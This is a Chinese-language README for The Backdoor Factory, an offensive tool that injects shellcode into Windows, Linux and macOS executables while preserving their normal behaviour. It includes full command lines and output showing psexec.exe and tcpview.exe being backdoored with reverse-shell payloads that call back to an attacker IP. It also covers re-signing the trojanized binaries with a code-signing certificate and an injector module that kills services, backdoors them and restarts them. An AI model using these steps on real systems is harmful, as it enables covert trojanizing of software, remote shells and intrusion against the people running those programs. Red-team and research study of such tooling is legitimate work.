仅供安全专业人员和研究人员使用。
BDF 的目标是使用用户期望的 shellcode 修补可执行二进制文件,并在修补前的状态下继续正常执行。
Black Hat USA 2015:
视频:https://www.youtube.com/watch?v=OuyLzkG16Uk
论文:https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
视频:https://archive.org/details/joshpitts_shmoocon2015
论文:https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
视频:http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
视频:http://www.youtube.com/watch?v=jXLb2RNX5xs
注入模块演示:http://www.youtube.com/watch?v=04aJAex2o3U
幻灯片:http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
通过以下方式联系开发者:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
遵循 BSD 3-Clause 许可证
参见 wiki:https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
#####要使用 OnionDuke,你必须使用 Intel 机器,因为 aPLib 尚不支持 ARM 芯片组。
Capstone 引擎 可以通过 PyPi 安装:
sudo pip install capstone
Pefile,最新版本:
https://code.google.com/p/pefile/
osslsigncode(包含在仓库中):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Kali 安装:
apt-get update
apt-get install backdoor-factory
其他 *NIX/MAC 安装:
./install.sh
这将安装 Capstone 3.01,并使用 pip 安装 pefile。
更新:
./update.sh
支持:
Windows PE x86/x64,ELF x86/x64(System V、FreeBSD、ARM 小端序 x32),
以及 Mach-O x86/x64,以及 FAT 文件中的这些格式
已加壳文件:PE UPX x86/x64
实验性:OpenBSD x32
某些可执行文件内置了保护机制,因此这不适用于所有二进制文件。建议你在将它们部署给客户或在练习中使用之前,先测试目标二进制文件。我即将绕过 NSIS,因此将来会加入绕过这些检查的功能。
非常感谢 Ryan O'Neill --ryan 'at' codeslum <d ot> org--
没有他,我可能还在对 elf 格式做一些蠢事。
还要感谢 Silvio Cesare 及其 1998 年的论文
(http://vxheaven.org/lib/vsc01.html),这些 ELF 修补
技术正是基于该论文的。
./backdoor.py -h Usage: backdoor.py [options]
可以在 EXE/DLL 中查找所有代码洞。
默认情况下,会清除指向 PE 证书表的指针,从而使二进制文件取消签名。
可以将 shellcode 注入代码洞或新节区。
可以判断 PE 二进制文件是否需要以提升的权限运行。
选择代码洞时,可以使用以下命令:
-Jump (j),用于代码洞跳转
-Single (s),用于将所有 shellcode 修补到一个洞中
-Append (a),用于创建代码洞
-Ignore (i 或 q),算了,忽略此二进制文件
可以忽略 DLL
导入表修补
自动修补(-m automatic)
Onionduke(-m onionduke)
将 TEXT 段扩展 1000 字节(按字节计),并将 shellcode 注入该代码段。
Pre-Text 段修补和签名移除
用户可以:
- 提供自定义 shellcode。
- 修补目录中的可执行文件/dll。
- 仅选择要修补的 x32 或 x64 二进制文件。
- 在其他 Python 项目中包含 BDF,参见 pebin.py 和 elfbin.py
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...
msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.
如果你有代码签名证书,BDF 可以给 PE 文件签名。它使用 osslsigncode。 将你的签名证书和私钥放在 certs/ 目录中。使用这篇博客文章中的 openssl 命令准备你的证书: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
将你的私钥密码按如下方式(完全如此)放入文件中(是的,有点让人惊讶):
echo -n yourpassword > certs/passFile.txt
请按以下方式准确命名你的证书:
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
你的 certs/ 目录应完全如下所示:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
使用 -C 标志启用 PE 代码签名,如下所示:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
成功运行后,你应该在 BDF 输出中看到这一行:
[*] Code Signing Succeeded
注入器模块会在磁盘上查找要植入后门的目标可执行文件。它将检查你是否已将目标标识为服务,检查进程是否正在运行,终止进程和/或服务,将 shellcode 注入可执行文件,将原始文件保存为 file.exe.old 或你选择的其他后缀,并尝试重新启动进程或服务。
编辑 'injector' 模块中的 Python 字典 "list_of_targets",以选择你需要的目标。
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
添加了 'replace' 修补方法——直接复制粘贴提供的二进制文件的 PE。
更多用于与 BDFProxy 配合使用。
Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
大量更新:
PE 文件的自动修补(将 -m automatic 与 *_threaded 载荷一起使用)。
针对 x86/x64 PE 文件的新 IAT 载荷。
我爱你们 <3
添加了对 PE 的导入地址表修补,以支持将导入表用于 winAPI 调用的 iat_reverse_tcp 载荷。例如,如果你要修补的二进制文件没有 LoadLibraryA 和 GetProcAddress,BDF 会将其修补到一个新节中的新导入表中。支持 x64/x86 PE。
为 x64 PE 添加了 iat_reverse_tcp。
错误修复和改进。
新年快乐!
两个新的 OS X 载荷!延迟载荷:delay_reverse_shell_tcp
-B 30 --> 将载荷延迟 30 秒,主代码立即运行。
为 BDF 构建固定了 capstone 提交版本,capstone 'Next' 仓库会破坏 BDF。
修复以支持 cython capstone 实现的空字节截断问题。
添加了 payloadtests.py
该脚本会在 backdoored 目录中输出修补后的文件,使用户可以按需测试载荷。每种载荷类型会将使用的端口递增 1。
Usage: payloadtest.py binary HOST PORT
适用于 x86 和 x64 的 OS X Beaconing 载荷:beaconing_reverse_shell_tcp
-B 15 --> 将 beacon 时间设置为 15 秒
修复错误以支持 BDFProxy 使用 OS X。
添加了 PE UPX 修补。
添加了 Mach-O x86/x64。
x86 IAT 载荷优化。
添加了对 ARM x32 小端序(LE)ELF 修补的支持。
添加了对 FreeBSD x32 ELF 修补的支持。
变更为 BSD 3-Clause 许可证。
整合了 Capstone:http://www.capstone-engine.org/
在添加 Capstone 的过程中,我删除了大约 500 行代码。这真是太棒了。
将 loadliba_reverse_tcp 重命名为 iat_reverse_tcp。
进行了小的速度优化。
添加了一个新的 win86 shellcode:loadliba_reverse_tcp